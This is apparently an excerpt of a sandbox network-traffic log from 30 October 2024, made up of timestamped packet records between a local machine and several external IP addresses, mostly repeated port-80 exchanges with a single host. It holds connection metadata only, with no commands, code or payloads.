Oct 30, 2024 18:06:45.414556026 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.414565086 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.414598942 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.414616108 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.414634943 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.414647102 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.414655924 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.414668083 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.414674044 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.414684057 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.414700985 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.414705992 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.414757013 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.414779902 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.414791107 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.414823055 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.414859056 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.414870024 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.414894104 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.414904118 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.414905071 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.414916039 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.414943933 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.414968014 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.414973974 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.414988041 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.415000916 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.415014029 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.415018082 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.415024042 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.415040016 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.415051937 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.415112019 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.415122986 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.415158033 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.415220022 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.415230989 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.415241003 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.415252924 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.415265083 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.415266037 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.415273905 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.415282965 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.415292978 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.415302992 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.415302992 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.415323019 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.415326118 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.415345907 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.415361881 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.415368080 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.415374041 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.415385962 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.415399075 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.415406942 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.415430069 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.415513992 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.415524960 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.415535927 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.415554047 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.415561914 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.415565968 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.415576935 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.415582895 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.415590048 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.415601969 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.415604115 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.415628910 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.415640116 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.415677071 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.415688038 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.415698051 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.415710926 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.415719986 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.415721893 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.415733099 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.415743113 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.415743113 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.415757895 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.415764093 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.415785074 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.415787935 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.415796995 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.415807962 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.415832043 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.415963888 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.415975094 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.415991068 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.415999889 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.416002989 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.416017056 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.416028023 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.416040897 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.416048050 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.416054010 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.416065931 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.416075945 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.416076899 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.416090965 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.416100979 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.416131973 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.416241884 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.416254997 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.416265011 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.416276932 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.416289091 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.416292906 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.416300058 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.416302919 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.416312933 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.416323900 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.416332960 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.416346073 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.416357994 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.416382074 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.416393042 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.416393995 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.416404009 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.416419029 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.416433096 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.416454077 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.416593075 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.416604996 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.416616917 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.416627884 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.416640043 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.416640043 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.416652918 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.416663885 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.416665077 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.416676044 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.416686058 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.416703939 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.416707993 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.416717052 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.416728973 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.416740894 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.416750908 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.416759014 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.416762114 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.416774035 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.416785002 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.416786909 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.416795015 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.416796923 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.416810036 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.416821957 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.416825056 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.416835070 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.416847944 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.416850090 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.416860104 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.416865110 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.416872978 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.416884899 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.416891098 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.416896105 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.416908026 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.416915894 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.416918039 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.416935921 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.416959047 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.482836008 CET	443	49883	13.107.246.57	192.168.2.5
Oct 30, 2024 18:06:45.482857943 CET	443	49883	13.107.246.57	192.168.2.5
Oct 30, 2024 18:06:45.482923031 CET	49883	443	192.168.2.5	13.107.246.57
Oct 30, 2024 18:06:45.482949972 CET	443	49883	13.107.246.57	192.168.2.5
Oct 30, 2024 18:06:45.483206987 CET	443	49883	13.107.246.57	192.168.2.5
Oct 30, 2024 18:06:45.483293056 CET	49883	443	192.168.2.5	13.107.246.57
Oct 30, 2024 18:06:45.512099981 CET	49894	443	192.168.2.5	23.198.7.171
Oct 30, 2024 18:06:45.512142897 CET	443	49894	23.198.7.171	192.168.2.5
Oct 30, 2024 18:06:45.512213945 CET	49894	443	192.168.2.5	23.198.7.171
Oct 30, 2024 18:06:45.515213966 CET	49894	443	192.168.2.5	23.198.7.171
Oct 30, 2024 18:06:45.515232086 CET	443	49894	23.198.7.171	192.168.2.5
Oct 30, 2024 18:06:45.518224955 CET	49883	443	192.168.2.5	13.107.246.57
Oct 30, 2024 18:06:45.518258095 CET	443	49883	13.107.246.57	192.168.2.5
Oct 30, 2024 18:06:45.557908058 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.563708067 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.702905893 CET	443	49889	18.245.113.126	192.168.2.5
Oct 30, 2024 18:06:45.703418016 CET	49889	443	192.168.2.5	18.245.113.126
Oct 30, 2024 18:06:45.703438044 CET	443	49889	18.245.113.126	192.168.2.5
Oct 30, 2024 18:06:45.703923941 CET	443	49889	18.245.113.126	192.168.2.5
Oct 30, 2024 18:06:45.704852104 CET	49889	443	192.168.2.5	18.245.113.126
Oct 30, 2024 18:06:45.704931974 CET	443	49889	18.245.113.126	192.168.2.5
Oct 30, 2024 18:06:45.705034971 CET	49889	443	192.168.2.5	18.245.113.126
Oct 30, 2024 18:06:45.732841015 CET	443	49885	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:45.740968943 CET	49885	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:45.740999937 CET	443	49885	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:45.741971016 CET	49885	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:45.741986036 CET	443	49885	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:45.751332045 CET	443	49889	18.245.113.126	192.168.2.5
Oct 30, 2024 18:06:45.784976006 CET	443	49886	13.107.246.57	192.168.2.5
Oct 30, 2024 18:06:45.785475969 CET	49886	443	192.168.2.5	13.107.246.57
Oct 30, 2024 18:06:45.785495996 CET	443	49886	13.107.246.57	192.168.2.5
Oct 30, 2024 18:06:45.785840988 CET	443	49886	13.107.246.57	192.168.2.5
Oct 30, 2024 18:06:45.786201954 CET	49886	443	192.168.2.5	13.107.246.57
Oct 30, 2024 18:06:45.786267042 CET	443	49886	13.107.246.57	192.168.2.5
Oct 30, 2024 18:06:45.786537886 CET	49886	443	192.168.2.5	13.107.246.57
Oct 30, 2024 18:06:45.827326059 CET	443	49886	13.107.246.57	192.168.2.5
Oct 30, 2024 18:06:45.833658934 CET	443	49887	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:45.834391117 CET	49887	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:45.834414005 CET	443	49887	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:45.835165977 CET	49887	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:45.835177898 CET	443	49887	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:45.839982986 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.840049982 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.840090036 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.840126991 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.840308905 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.840327978 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.840348005 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.840362072 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.840373993 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.840387106 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.840399027 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.840405941 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.840410948 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.840415955 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.840424061 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.840441942 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.840450048 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.840452909 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.840464115 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.840473890 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.840475082 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.840491056 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.840512037 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.840522051 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.840533018 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.840533972 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.840543985 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.840555906 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.840565920 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.840589046 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.840589046 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.840610981 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.840642929 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.840655088 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.840667009 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.840677977 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.840682983 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.840691090 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.840708017 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.840734005 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.840737104 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.840745926 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.840758085 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.840771914 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.840783119 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.840783119 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.840795040 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.840802908 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.840816975 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.840827942 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.840856075 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.840857983 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.840869904 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.840881109 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.840894938 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.840917110 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.841058016 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.841233969 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.841249943 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.841310978 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.841310978 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.841384888 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.841459036 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.841528893 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.841541052 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.841603994 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.841603994 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.841706038 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.841746092 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.841789961 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.841885090 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.841950893 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.841963053 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.841995001 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.842008114 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.842113018 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.842125893 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.842166901 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.843509912 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.843674898 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.843697071 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.843735933 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.843877077 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.843920946 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.844065905 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.844079971 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.844089985 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.844110966 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.844127893 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.844216108 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.844228029 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.844271898 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.844355106 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.844393015 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.844547987 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.844558954 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.844592094 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.844605923 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.844939947 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.844952106 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.844963074 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.844976902 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.844989061 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.844989061 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.844999075 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.845010042 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.845024109 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.845032930 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.845035076 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.845047951 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.845058918 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.845076084 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.845097065 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.845120907 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.845138073 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.845149040 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.845160961 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.845171928 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.845175982 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.845184088 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.845196009 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.845201969 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.845210075 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.845210075 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.845223904 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.845237970 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.845241070 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.845261097 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.845278978 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.845282078 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.845290899 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.845293999 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.845307112 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.845319986 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.845320940 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.845334053 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.845345974 CET	49812	80	192.168.2.5	185.215.113.206
